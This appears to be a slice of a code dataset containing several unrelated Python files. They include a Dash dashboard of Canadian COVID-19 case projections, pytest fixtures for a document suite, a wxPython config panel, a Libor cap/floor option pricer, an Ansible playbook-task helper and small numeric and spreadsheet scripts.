args.domgraph)\n\n","sub_path":"spacegraphcats/rdomset.py","file_name":"rdomset.py","file_ext":"py","file_size_in_byte":13239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"282445988","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom datetime import date, timedelta\nfrom bs4 import BeautifulSoup \nimport requests\nfrom operator import add\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input,Output\nimport dash_bootstrap_components as dbc\n\nsns.set(palette='pastel')\n\napp = dash.Dash(__name__, external_stylesheets = [dbc.themes.BOOTSTRAP])\nserver = app.server\napp.config.suppress_callback_exceptions = True\n\n#set the app.layout\napp.layout = html.Div([\n dcc.Tabs(id=\"tabs\", value='ontario', children=[\n dcc.Tab(label='Alberta', value='35'),\n dcc.Tab(label='British Columbia', value='36'),\n dcc.Tab(label='Manitoba', value='38'),\n dcc.Tab(label='New Brunswick', value='39'),\n dcc.Tab(label='Newfoundland & Labrador', value='40'),\n dcc.Tab(label='Nova Scotia', value='41'),\n dcc.Tab(label='Ontario', value='42'),\n dcc.Tab(label='Prince Edward Island', value='43'),\n dcc.Tab(label='Quebec', value='44'),\n dcc.Tab(label='Saskatchewan', value='45'),\n dcc.Tab(label='Canada', value='all'),\n ]),\n html.Div(id='tabs-content')\n])\n\ndef projected_value(daily_total_infections, day):\n three_day_rate_of_growth = (daily_total_infections[day-1]/daily_total_infections[day-2] +\n daily_total_infections[day-2]/daily_total_infections[day-3] +\n daily_total_infections[day-3]/daily_total_infections[day-4])/3\n projected_daily_total_infections = three_day_rate_of_growth * daily_total_infections[day-1]\n return projected_daily_total_infections, three_day_rate_of_growth\n\ndef plot_provincial_data(province_id):\n url = 'https://coronavirus-tracker-api.herokuapp.com/v2/locations/'+str(province_id)\n\n # Connect to the URL\n response = requests.get(url)\n\n json = response.json()\n\n timeline_array = json['location']['timelines']['confirmed']['timeline']\n name = json['location']['province']\n\n base_daily_infections = []\n prev_day = 0\n\n for key in sorted(timeline_array.keys()):\n base_daily_infections.append(timeline_array[key] - prev_day)\n prev_day = timeline_array[key]\n\n daily_infections = np.array(base_daily_infections)\n\n sdate = date(2020, 1, 22) # start date\n edate = date.today() + timedelta(days=5) # end date\n\n delta = edate - sdate # as timedelta\n\n day_list = []\n for i in range(delta.days + 1):\n day_list.append(sdate + timedelta(days=i))\n\n daily_total_infections = []\n for i in range(0, len(daily_infections)):\n daily_total_infections.append(np.sum(daily_infections[0:i+1]))\n\n if len(daily_total_infections) < len(day_list[0:-5]):\n plt.plot(day_list[0:-6], daily_total_infections, label='Actual', color='red', marker='o')\n plt.gcf().autofmt_xdate()\n else:\n plt.plot(day_list[0:-5], daily_total_infections, label='Actual', color='red', marker='o')\n plt.gcf().autofmt_xdate()\n\n projected_daily_total_infections = []\n three_day_rate_of_growth = []\n for day in range(4, len(daily_infections)):\n projected, growth = projected_value(daily_total_infections, day)\n projected_daily_total_infections.append(projected)\n three_day_rate_of_growth.append(growth)\n\n for i in range(0, 5):\n if i == 0:\n projected_daily_total_infections.append(daily_total_infections[-1] * three_day_rate_of_growth[-1])\n else:\n projected_daily_total_infections.append(projected_daily_total_infections[-1] * three_day_rate_of_growth[-1])\n\n if len(projected_daily_total_infections) < len(day_list[4::]):\n plt.plot(day_list[4:-1], projected_daily_total_infections, linestyle='--', label='Projected', color='black')\n else:\n plt.plot(day_list[4::], projected_daily_total_infections, linestyle='--', label='Projected', color='black')\n plt.gcf().autofmt_xdate()\n plt.title('Total Infections - '+name+', Canada')\n plt.legend()\n\n one_day_rate_of_growth = np.array(daily_total_infections[1::]) / np.array(daily_total_infections[0:-1])\n #plt.figure()\n if len(one_day_rate_of_growth[25::]) < len(day_list[26:-5]):\n plt.plot(day_list[26:-6], one_day_rate_of_growth[25::])\n else:\n plt.plot(day_list[26:-5], one_day_rate_of_growth[25::])\n plt.gcf().autofmt_xdate()\n plt.title('Rate of growth')\n\n # plot daily infections and projected\n #plt.figure()\n if len(daily_infections) < len(day_list[0:-5]):\n plt.plot(day_list[0:-6], daily_infections, label='Actual', color='red', marker='o')\n else:\n plt.plot(day_list[0:-5], daily_infections, label='Actual', color='red', marker='o')\n plt.gcf().autofmt_xdate()\n plt.title('Daily Infections - '+name+', Canada')\n\n projected_daily_infections = projected_daily_total_infections[0:-4] - np.array(daily_total_infections[3::])\n for i in range(len(projected_daily_total_infections) - 4, len(projected_daily_total_infections)):\n projected_daily_infections = np.hstack([projected_daily_infections,\n projected_daily_total_infections[i] -\n projected_daily_total_infections[i-1]])\n # projected_daily_infections.append(projected_daily_total_infections[i] - projected_daily_total_infections[i-1])\n\n if len(projected_daily_infections) < len(day_list[4::]):\n plt.plot(day_list[4:-1], projected_daily_infections, linestyle='--', label='Projected', color='black')\n else:\n plt.plot(day_list[4::], projected_daily_infections, linestyle='--', label='Projected', color='black')\n plt.gcf().autofmt_xdate()\n plt.title('Daily Infections - '+name+', Canada')\n plt.legend()\n\n return daily_total_infections, projected_daily_total_infections\n\n# Start script\nprint(\"Attempting to get data from coronavirus tracker api\")\n\nsdate = date(2020, 1, 22) # start date\nedate = date.today() + timedelta(days=5) # end date\ndelta = edate - sdate # as timedelta\n\nday_list = []\nfor i in range(delta.days + 1):\n day_list.append(sdate + timedelta(days=i))\n\nall_province_case_data = {}\nall_province_projection_data = {}\n\ncumulative_total, cumulative_projected_total = plot_provincial_data(35)\nall_province_case_data['35'] = cumulative_total\nall_province_projection_data['35'] = cumulative_projected_total\n\n# Set the URL of the REST api we are getting data from (i.e. location 42 is for the province of Ontario)\nfor province_id in range(36,46): \n if (province_id == 37):\n continue \n all_province_case_data[str(province_id)], all_province_projection_data[str(province_id)] = plot_provincial_data(province_id) \n cumulative_total = list( map(add, cumulative_total,all_province_case_data[str(province_id)]))\n cumulative_projected_total = list(map(add, cumulative_projected_total,all_province_projection_data[str(province_id)]))\n\n# plot daily infections and projected\n#plt.figure()\nif len(cumulative_total) < len(day_list[0:-5]):\n plt.plot(day_list[0:-6], cumulative_total, label='Actual', color='red', marker='o')\nelse:\n plt.plot(day_list[0:-5], cumulative_total, label='Actual', color='red', marker='o')\nplt.gcf().autofmt_xdate()\nplt.title('Daily Infections - Canadian Provinces')\n\nif len(cumulative_projected_total) < len(day_list[4::]):\n plt.plot(day_list[4:-1], cumulative_projected_total, linestyle='--', label='Projected', color='black')\nelse:\n plt.plot(day_list[4::], cumulative_projected_total, linestyle='--', label='Projected', color='black')\nplt.gcf().autofmt_xdate()\nplt.title('Daily Infections - Canadian Provinces')\nplt.legend()\n\ndef figure_creator(id):\n return {\n 'data': [\n dict(\n y = all_province_case_data[id],\n x = day_list[0:-5],\n mode ='lines+markers',\n opacity = 1,\n marker = {\n 'size': 8,\n 'line': {'width': 0.5, 'color': 'blue'}\n },\n name = 'Confirmed Cases'\n ),\n dict(\n y = all_province_projection_data[id],\n x = day_list[4::],\n mode ='lines+markers',\n opacity = 0.4,\n marker = {\n 'size': 8,\n 'line': {'width': 0.5, 'color': 'black'}, \n 'color':'black' \n }, \n name = 'Projected Cases') \n ],\n 'layout': dict(\n xaxis = {'type': 'date', 'title': 'Day'},\n yaxis = {'title': 'DAVID-19 Cases'},\n margin = {'l': 40, 'b': 40, 't': 10, 'r': 10},\n legend = {'x': 0, 'y': 1},\n hovermode = 'closest'\n )\n }\n \n\n# callback to control content\n@app.callback(Output('tabs-content', 'children'),\n [Input('tabs', 'value')])\ndef render_content(tab):\n if tab == 'all':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure={\n 'data': [\n dict(\n y = cumulative_total,\n x = day_list[0:-5],\n mode ='lines+markers',\n opacity = 1,\n marker = {\n 'size': 8,\n 'line': {'width': 0.5, 'color': 'blue'}\n },\n name = 'Days v Confirmed Cases'\n ),\n dict(\n y = cumulative_projected_total,\n x = day_list[4::],\n mode ='lines+markers',\n opacity = 0.4,\n marker = {\n 'size': 8,\n 'line': {'width': 0.5, 'color': 'black'}, \n 'color':'black' \n }, \n name = 'Projected Cases') \n ],\n 'layout': dict(\n xaxis = {'type': 'date', 'title': 'Day'},\n yaxis = {'title': 'Confirmed Cases'},\n margin = {'l': 40, 'b': 40, 't': 10, 'r': 10},\n legend = {'x': 0, 'y': 1},\n hovermode = 'closest'\n )\n }\n )\n ])\n elif tab == '35':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('35')\n )\n ])\n elif tab == '36':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('36')\n )\n ])\n elif tab == '38':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('38')\n )\n ])\n elif tab == '39':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('39')\n )\n ])\n elif tab == '40':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('40')\n )\n ])\n elif tab == '41':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('41')\n )\n ])\n elif tab == '42':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('42')\n )\n ])\n elif tab == '43':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('43')\n )\n ])\n elif tab == '44':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('44')\n )\n ])\n elif tab == '45':\n return html.Div([\n dcc.Graph(\n id='covid',\n figure=figure_creator('45')\n )\n ])\n \n\n\napp.run_server()","sub_path":"Canada_plot.py","file_name":"Canada_plot.py","file_ext":"py","file_size_in_byte":12302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"244095217","text":"import pytest\n\nfrom sondra.suite import SuiteException\nfrom .api import *\nfrom datetime import datetime\n\n\ndef _ignore_ex(f):\n try:\n f()\n except SuiteException:\n pass\n\n\n@pytest.fixture(scope='module')\ndef s(request):\n v = ConcreteSuite()\n _ignore_ex(lambda: SimpleApp(v))\n _ignore_ex(lambda: DerivedApp(v))\n v.clear_databases()\n return v\n\n\n@pytest.fixture()\ndef simple_document(request, s):\n doc = s['simple-app']['simple-documents'].create({\n 'name': \"Document 1\",\n 'date': datetime.now(),\n })\n def teardown():\n doc.delete()\n request.addfinalizer(teardown)\n\n return doc\n\n\n\n\n@pytest.fixture()\ndef foreign_key_document(request, s, simple_document):\n doc = s['simple-app']['foreign-key-docs'].create({\n 'name': 'FK Doc',\n 'simple_document': simple_document,\n 'rest': [simple_document, simple_document, simple_document]\n })\n def teardown():\n doc.delete()\n request.addfinalizer(teardown)\n\n return doc\n\n\n@pytest.fixture()\ndef simple_point(request, s):\n doc = s['simple-app']['simple-points'].create({\n 'name': \"A Point\",\n 'date': datetime.now(),\n 'geometry': {\"type\": \"Point\", \"coordinates\": [-85.1, 31.8]}\n })\n def teardown():\n doc.delete()\n request.addfinalizer(teardown)\n\n return doc\n\n\ndef test_document_methods_local(s):\n assert s['simple-app']['simple-documents'].simple_none_return() is None\n assert s['simple-app']['simple-documents'].simple_int_return() == 1\n assert s['simple-app']['simple-documents'].simple_number_return() == 1.0\n assert s['simple-app']['simple-documents'].simple_str_return() == \"String\"\n assert s['simple-app']['simple-documents'].list_return() == [\"0\", \"1\", \"2\", \"3\"]\n assert s['simple-app']['simple-documents'].dict_return() == {'a': 0, 'b': 1, 'c': 2}\n assert s['simple-app']['simple-documents'].operates_on_self() == s['simple-app']['simple-documents'].title\n\n\n\n\ndef test_derived_document_inheritance(s):\n \"\"\"Make sure that inheritance never modifies the base class and that appropriate attributes are merged\"\"\"\n base_coll = s['simple-app']['simple-documents']\n derived_coll = s['derived-app']['derived-collection']\n\n assert hasattr(derived_coll, 'simple_none_return')\n assert hasattr(derived_coll, 'derived_method')\n\n assert not hasattr(base_coll, 'derived_method')\n\n\ndef test_document_construction(s):\n coll = s['simple-app']['simple-documents']\n\n\ndef test_document_properties(s):\n coll = s['simple-app']['simple-documents']\n\n assert coll.suite\n assert coll.application\n assert coll.url == coll.application.url + '/' + coll.slug\n assert coll.table\n\n\ndef test_simple_document_creation(s, simple_document):\n assert simple_document.id\n assert simple_document.id == simple_document.slug\n assert simple_document.slug is not None\n assert simple_document.slug == 'document-1'\n assert 'document-1' in simple_document.collection\n assert simple_document['date'] is not None\n assert simple_document['timestamp'] is not None\n assert simple_document['value'] == 0 # make sure defaults work\n\n\ndef test_document_update(s, simple_document):\n simple_document['value'] = 1024\n simple_document.save(conflict='replace')\n updated = s['simple-app']['simple-documents'][simple_document.id]\n assert updated['value'] == 1024\n\n\ndef test_foreign_key_doc_creation(s, foreign_key_document):\n single = foreign_key_document.fetch('simple_document')\n multiple = foreign_key_document.fetch('rest')\n\n assert isinstance(single, SimpleDocument)\n assert isinstance(multiple, list)\n assert all([isinstance(x, SimpleDocument) for x in multiple])\n assert isinstance(foreign_key_document['simple_document'], SimpleDocument)\n assert isinstance(foreign_key_document['rest'], list)\n assert all([isinstance(x, SimpleDocument) for x in foreign_key_document['rest']])\n\n\ndef test_simple_point_creation(s, simple_point):\n assert simple_point['geometry']\n\n\ndef test_document_help(s):\n assert s['simple-app']['simple-documents'].help()\n assert s['simple-app']['simple-points'].help()\n assert s['simple-app']['foreign-key-docs'].help()","sub_path":"sondra/tests/test_documents.py","file_name":"test_documents.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"29296629","text":"\"\"\"\r\nCreated on Dec 28, 2013\r\n\r\n@author: Chris\r\n\"\"\"\r\n\r\nimport wx\r\nfrom wx.lib.scrolledpanel import ScrolledPanel\r\n\r\nfrom gooey.gui.component_factory import ComponentFactory\r\nfrom gooey.gui.option_reader import OptionReader\r\nimport styling\r\n\r\n\r\nPADDING = 10\r\n\r\n\r\nclass AdvancedConfigPanel(ScrolledPanel, OptionReader):\r\n \"\"\"\r\n Abstract class for the Footer panels.\r\n \"\"\"\r\n\r\n def __init__(self, parent, action_groups=None, **kwargs):\r\n ScrolledPanel.__init__(self, parent, **kwargs)\r\n self.SetupScrolling()\r\n\r\n self._action_groups = action_groups\r\n self._positionals = len(action_groups._positionals) > 0\r\n self.components = ComponentFactory(action_groups)\r\n\r\n self._msg_req_args = None\r\n self._msg_opt_args = None\r\n\r\n self._controller = None\r\n\r\n self._init_components()\r\n self._do_layout()\r\n self.Bind(wx.EVT_SIZE, self.OnResize)\r\n\r\n\r\n def _init_components(self):\r\n self._msg_req_args = (styling.H1(self, \"Required Arguments\")\r\n if self._positionals else None)\r\n self._msg_opt_args = styling.H1(self, \"Optional Arguments\")\r\n\r\n def _do_layout(self):\r\n STD_LAYOUT = (0, wx.LEFT | wx.RIGHT | wx.EXPAND, PADDING)\r\n\r\n container = wx.BoxSizer(wx.VERTICAL)\r\n container.AddSpacer(15)\r\n\r\n if self._positionals:\r\n container.Add(self._msg_req_args, 0, wx.LEFT | wx.RIGHT, PADDING)\r\n container.AddSpacer(5)\r\n container.Add(styling.HorizontalRule(self), *STD_LAYOUT)\r\n container.AddSpacer(20)\r\n\r\n self.AddWidgets(container, self.components.required_args, add_space=True)\r\n\r\n container.AddSpacer(10)\r\n\r\n container.AddSpacer(10)\r\n container.Add(self._msg_opt_args, 0, wx.LEFT | wx.RIGHT, PADDING)\r\n container.AddSpacer(5)\r\n container.Add(styling.HorizontalRule(self), *STD_LAYOUT)\r\n container.AddSpacer(20)\r\n\r\n flag_grids = self.CreateComponentGrid(self.components.flags, cols=3, vgap=15)\r\n general_opts_grid = self.CreateComponentGrid(self.components.general_options)\r\n container.Add(general_opts_grid, *STD_LAYOUT)\r\n container.AddSpacer(30)\r\n container.Add(flag_grids, *STD_LAYOUT)\r\n\r\n self.SetSizer(container)\r\n\r\n def AddWidgets(self, sizer, components, add_space=False, padding=PADDING):\r\n for component in components:\r\n widget_group = component.Build(parent=self)\r\n sizer.Add(widget_group, 0, wx.LEFT | wx.RIGHT | wx.EXPAND, padding)\r\n if add_space:\r\n sizer.AddSpacer(8)\r\n\r\n def CreateComponentGrid(self, components, cols=2, vgap=10):\r\n gridsizer = wx.GridSizer(rows=0, cols=cols, vgap=vgap, hgap=4)\r\n self.AddWidgets(gridsizer, components)\r\n return gridsizer\r\n\r\n def OnResize(self, evt):\r\n for component in self.components:\r\n component.Update(evt.m_size)\r\n evt.Skip()\r\n\r\n def RegisterController(self, controller):\r\n if self._controller is None:\r\n self._controller = controller\r\n\r\n def GetOptions(self):\r\n \"\"\"\r\n returns the collective values from all of the\r\n widgets contained in the panel\"\"\"\r\n values = [c.GetValue()\r\n for c in self.components\r\n if c.GetValue() is not None]\r\n return ' '.join(values)\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n","sub_path":"gooey/gui/advanced_config.py","file_name":"advanced_config.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"177294570","text":"#Bokeh and bkcharts are depricated\n#To use bokeh dont install default instead use: pip install bokeh==0.12.5\n#or pip install bokeh==0.12.6\n#pip install bkcharts\n\nfrom bkcharts import Scatter, output_file, show\nimport pandas\n\ndf = pandas.DataFrame(columns=[\"X\",\"Y\"])\ndf[\"X\"]=[1,3,5,7,9,11,13,15,17,19,21]\ndf[\"Y\"]=[2,4,6,8,10,12,14,16,18,20,22]\n\np=Scatter(df,x='X',y='Y',title='Test BK Charts', xlabel=\"Odd Numbers\", ylabel=\"Even Numbers\")\n#Creates scatter object passing data frame, x axis value with data frame values of X and y axis value with data frame values of Y, title, x label, y label\noutput_file=(\"Scatter_File_Ex.html\") #Displaying the output in html format\nshow(p) #Showing the output\n","sub_path":"Bokeh/bkchartstest.py","file_name":"bkchartstest.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"472773989","text":"# encoding: utf-8\nimport os\nimport time\nfrom django.conf import settings\nfrom common.utils import get_logger\nfrom .models import AnsibleRole, PlayBookTask\n\nlogger = get_logger('jumpserver')\n\n\ndef create_playbook_task(\n assets,\n task_name=\"\",\n extra_vars=None,\n created_by=\"System\",\n description=\"\",\n ansible_role=None,\n run_as_admin=False,\n run_as=None\n ):\n\n # 判断是否传入playbook_name\n if not ansible_role:\n logger.error(\"ansible role can't be None.\")\n return False\n\n if not task_name:\n task_name = ansible_role\n\n defaults = {\n 'name': task_name,\n 'created_by': created_by,\n 'desc': description,\n 'ansible_role': ansible_role,\n 'run_as_admin': run_as_admin,\n 'run_as': run_as,\n 'extra_vars': extra_vars\n }\n\n PlayBookTask.objects.update_or_create(name=task_name, defaults=defaults)\n task = PlayBookTask.objects.get(name=task_name)\n task.assets.set(assets)\n task.save()\n\n return task\n\n\n# 将timestamp转换成当地时间字符串格式\ndef translate_timestamp(timestamp):\n\n time_array = time.localtime(timestamp)\n return time.strftime(\"%Y-%m-%d %H:%M:%S\", time_array)\n","sub_path":"devops/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"195377199","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nPython code to calculate the area of a circle the calculate the volume of a ten dimensional sphere\n\n@author: krishnendu\n\"\"\"\n\nimport numpy as np\n\ndef fun(x,y):\n if x**2+y**2<=1:\n return 1\n else :\n return 0\nn=1000000\nx=np.random.rand(n)\ny=np.random.rand(n)\nresult=0\nfor i in range(n):\n result+=fun(x[i],y[i])\nI=4*result/n\nprint(\"The area of the circle is :\",I)\n\n#volume of an ten dimensional sphere \n\ndef func(x):\n if sum(x**2)<=1:\n return 1\n else :\n return 0\n\nk=10*n\nx=np.zeros(k).reshape(10,n)\nfor i in range(10):\n x[i]=np.random.rand(n)\n\nvol=0\nfor i in range(n):\n vol+=func(x[:,i])\nvol=(2**10)*vol/n\nprint(\"the volume of the ten dimensional sphere is :\",vol)\n\n\n","sub_path":"Problem_8_Assignment_4.py","file_name":"Problem_8_Assignment_4.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"17764705","text":"def Common_data_finder( input_path1, input_path2, output_path ):\n import pandas as pd\n import re\n\n data1 = pd.read_excel( 'exceldata1.xlsx', header = None )\n data2 = pd.read_excel( 'exceldata2.xlsx', header = None )\n\n for i in range( len( data1[0].index ) ):\n if( isinstance( data1[0][i], str ) == False ):\n data1[0][i] = str( data1[0][i] )\n\n for i in range( len( data2[0].index ) ):\n if( isinstance( data2[0][i], str ) == False ):\n data2[0][i] = str( data2[0][i] )\n\n data1_list = []\n for i in data1[0]:\n data1_list.append( i.split( ',' ) )\n\n data2_list = []\n for i in data2[0]:\n data2_list.append( i.split( ',' ) )\n\n common_data = []\n\n if( len( data1_list ) >= len( data2_list )):\n\n for i in range( len( data2_list) ):\n temp = []\n for j in data1_list[i]:\n if( j in data2_list[i] ):\n temp.append( j )\n\n common_data.append( temp )\n else:\n for i in range( len( data1_list) ):\n temp = []\n for j in data2_list[i]:\n if( j in data1_list[i] ):\n temp.append( j )\n\n common_data.append( temp )\n\n for i in range( len(common_data) ):\n for j in range( len( common_data[i] ) ):\n value = common_data[i][j]\n\n if( value != 'Nan' ):\n common_data[i][j] = int( value )\n\n for i in common_data:\n print(i)\n\n pd.DataFrame( common_data ).to_excel( output_path )\n\nCommon_data_finder( 'exceldata1_4.xlsx', 'exceldata2_5.xlsx', r'Output_File.xlsx' )\n","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"241843499","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 07 14:23:13 2019\n\n@author: Dominic O'Kane\n\"\"\"\n\nfrom math import log, sqrt\n\nfrom ...finutils.FinCalendar import FinCalendarTypes\nfrom ...finutils.FinCalendar import FinDateGenRuleTypes\nfrom ...finutils.FinCalendar import FinDayAdjustTypes\nfrom ...finutils.FinDayCount import FinDayCount, FinDayCountTypes\nfrom ...finutils.FinFrequency import FinFrequencyTypes\nfrom ...finutils.FinGlobalVariables import gDaysInYear\nfrom ...finutils.FinMath import ONE_MILLION, N\nfrom ...finutils.FinError import FinError\nfrom ...finutils.FinSchedule import FinSchedule\nfrom .FinLiborModelTypes import FinLiborModelBlack\nfrom .FinLiborModelTypes import FinLiborModelShiftedBlack\nfrom .FinLiborModelTypes import FinLiborModelSABR\nfrom ...models.FinSABRModel import blackVolFromSABR\n\n##########################################################################\n\nfrom enum import Enum\n\n\nclass FinLiborCapFloorType(Enum):\n CAP = 1\n FLOOR = 2\n\n\nclass FinLiborCapFloorModelTypes(Enum):\n BLACK = 1\n SHIFTED_BLACK = 2\n SABR = 3\n\n##########################################################################\n\n\nclass FinLiborCapFloor():\n\n def __init__(self,\n startDate,\n maturityDate,\n optionType,\n strikeRate,\n lastFixing=None,\n frequencyType=FinFrequencyTypes.QUARTERLY,\n dayCountType=FinDayCountTypes.THIRTY_E_360_ISDA,\n notional=ONE_MILLION,\n calendarType=FinCalendarTypes.WEEKEND,\n busDayAdjustType=FinDayAdjustTypes.FOLLOWING,\n dateGenRuleType=FinDateGenRuleTypes.BACKWARD):\n\n if startDate > maturityDate:\n raise FinError(\"Start date must be before maturity date\")\n\n if optionType not in FinLiborCapFloorType:\n raise FinError(\"Unknown Libor Cap Floor type \" + str(optionType))\n\n if dayCountType not in FinDayCountTypes:\n raise FinError(\n \"Unknown Cap Floor DayCountRule type \" +\n str(dayCountType))\n\n if frequencyType not in FinFrequencyTypes:\n raise FinError(\n \"Unknown CapFloor Frequency type \" +\n str(frequencyType))\n\n if calendarType not in FinCalendarTypes:\n raise FinError(\"Unknown Calendar type \" + str(calendarType))\n\n if busDayAdjustType not in FinDayAdjustTypes:\n raise FinError(\n \"Unknown Business Day Adjust type \" +\n str(busDayAdjustType))\n\n if dateGenRuleType not in FinDateGenRuleTypes:\n raise FinError(\n \"Unknown Date Gen Rule type \" +\n str(dateGenRuleType))\n\n self._startDate = startDate\n self._maturityDate = maturityDate\n self._optionType = optionType\n self._strikeRate = strikeRate\n self._lastFixing = lastFixing\n self._frequencyType = frequencyType\n self._dayCountType = dayCountType\n self._notional = notional\n self._calendarType = calendarType\n self._busDayAdjustType = busDayAdjustType\n self._dateGenRuleType = dateGenRuleType\n\n##########################################################################\n\n def value(self,\n valuationDate,\n liborCurve,\n model):\n\n self._capFloorDates = FinSchedule(self._startDate,\n self._maturityDate,\n self._frequencyType,\n self._calendarType,\n self._busDayAdjustType,\n self._dateGenRuleType).generate()\n\n dayCounter = FinDayCount(self._dayCountType)\n numOptions = len(self._capFloorDates)\n strikeRate = self._strikeRate\n\n# for dt in self._capFloorDates:\n# print(dt)\n\n if strikeRate <= 0.0:\n raise FinError(\"Strike <= 0.0\")\n\n if numOptions <= 1:\n raise FinError(\"Number of options in capfloor equals 1\")\n\n #######################################################################\n\n capFloorValue = 0.0\n\n # Value the first caplet or floorlet with known payoff\n\n if self._lastFixing is None:\n\n # Assume that the fixing is set today and that there is\n # potentially some intrinsic value depending on strike\n startDate = self._startDate\n endDate = self._capFloorDates[1]\n fwdRate = liborCurve.fwdRate(\n startDate, endDate, self._dayCountType)\n alpha = dayCounter.yearFrac(startDate, endDate)\n df = liborCurve.df(endDate)\n\n if self._optionType == FinLiborCapFloorType.CAP:\n capFloorLetValue = df * alpha * max(fwdRate - strikeRate, 0)\n elif self._optionType == FinLiborCapFloorType.FLOOR:\n capFloorLetValue = df * alpha * max(strikeRate - fwdRate, 0)\n\n else:\n\n startDate = self._startDate\n endDate = self._capFloorDates[1]\n fwdRate = self._lastFixing\n df = liborCurve.df(endDate)\n alpha = dayCounter.yearFrac(startDate, endDate)\n\n if self._optionType == FinLiborCapFloorType.CAP:\n capFloorLetValue = df * alpha * max(fwdRate - strikeRate, 0)\n elif self._optionType == FinLiborCapFloorType.FLOOR:\n capFloorLetValue = df * alpha * max(strikeRate - fwdRate, 0)\n\n capFloorValue += capFloorLetValue\n\n for i in range(2, numOptions):\n\n startDate = self._capFloorDates[i - 1]\n endDate = self._capFloorDates[i]\n\n capFloorLetValue = self.valueCapletFloorlet(valuationDate,\n startDate,\n endDate,\n liborCurve,\n model)\n\n capFloorValue += capFloorLetValue\n\n capFloorValue = capFloorValue * self._notional\n return capFloorValue\n\n\n##########################################################################\n\n def valueCapletFloorlet(self,\n valuationDate,\n startDate,\n endDate,\n liborCurve,\n model):\n\n df = liborCurve.df(endDate)\n t = (startDate - valuationDate) / gDaysInYear\n f = liborCurve.fwdRate(startDate, endDate, self._dayCountType)\n k = self._strikeRate\n\n if type(model) == FinLiborModelBlack:\n\n v = model._volatility\n\n if v <= 0:\n raise FinError(\"Black Volatility must be positive\")\n\n if f <= 0:\n raise FinError(\"Forward must be positive\")\n\n d1 = (log(f / k) + v * v * t / 2.0) / v / sqrt(t)\n d2 = d1 - v * sqrt(t)\n\n if self._optionType == FinLiborCapFloorType.CAP:\n capFloorLetValue = df * (f * N(+d1) - k * N(+d2))\n elif self._optionType == FinLiborCapFloorType.FLOOR:\n capFloorLetValue = df * (k * N(-d2) - f * N(-d1))\n\n elif type(model) == FinLiborModelShiftedBlack:\n\n v = model._volatility\n h = model._shift\n\n if v <= 0:\n raise FinError(\"Black Volatility must be positive\")\n\n d1 = (log((f - h) / (k - h)) + v * v * t / 2.0) / v / sqrt(t)\n d2 = d1 - v * sqrt(t)\n\n if self._optionType == FinLiborCapFloorType.CAP:\n capFloorLetValue = df * ((f - h) * N(+d1) - (k - h) * N(+d2))\n elif self._optionType == FinLiborCapFloorType.FLOOR:\n capFloorLetValue = df * ((k - h) * N(-d2) - (f - h) * N(-d1))\n\n elif type(model) == FinLiborModelSABR:\n\n alpha = model._alpha\n beta = model._beta\n rho = model._rho\n nu = model._nu\n\n v = blackVolFromSABR(alpha, beta, rho, nu, f, k, t)\n\n d1 = (log((f) / (k)) + v * v * t / 2.0) / v / sqrt(t)\n d2 = d1 - v * sqrt(t)\n\n if self._optionType == FinLiborCapFloorType.CAP:\n capFloorLetValue = df * ((f) * N(+d1) - (k) * N(+d2))\n elif self._optionType == FinLiborCapFloorType.FLOOR:\n capFloorLetValue = df * ((k) * N(-d2) - (f) * N(-d1))\n\n else:\n raise FinError(\"Unknown model type \" + str(model))\n\n return capFloorLetValue\n\n##########################################################################\n\n def print(self):\n print(\"CAP FLOOR START DATE:\", self._startDate)\n print(\"CAP FLOOR MATURITY DATE:\", self._maturityDate)\n print(\"CAP FLOOR STRIKE COUPON:\", self._strikeRate * 100)\n print(\"CAP FLOOR OPTION TYPE:\", str(self._optionType))\n print(\"CAP FLOOR FREQUENCY:\", str(self._frequencyType))\n print(\"CAP FLOOR DAY COUNT:\", str(self._dayCountType))\n\n##########################################################################\n","sub_path":"financepy/products/libor/FinLiborCapFloor.py","file_name":"FinLiborCapFloor.py","file_ext":"py","file_size_in_byte":9181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"89374273","text":"#config: UTF-8\r\nimport shutil\r\nimport os\r\nimport re\r\n\r\n##\r\ndef printTest():\r\n\tprint(\"read succes!\")\r\n\r\n##\r\ndef readFile(path, encode=\"\"):\r\n\t\"\"\"\r\n\tget text in file \".txt\"\r\n\topen file to \"bainary\" when none enode param\r\n\t*when error get file, return \"False\"\r\n\t\"\"\"\r\n\tif encode is None:\r\n\t\t\"\"\"\r\n\t\t@param\tpath\t{string}\tfile 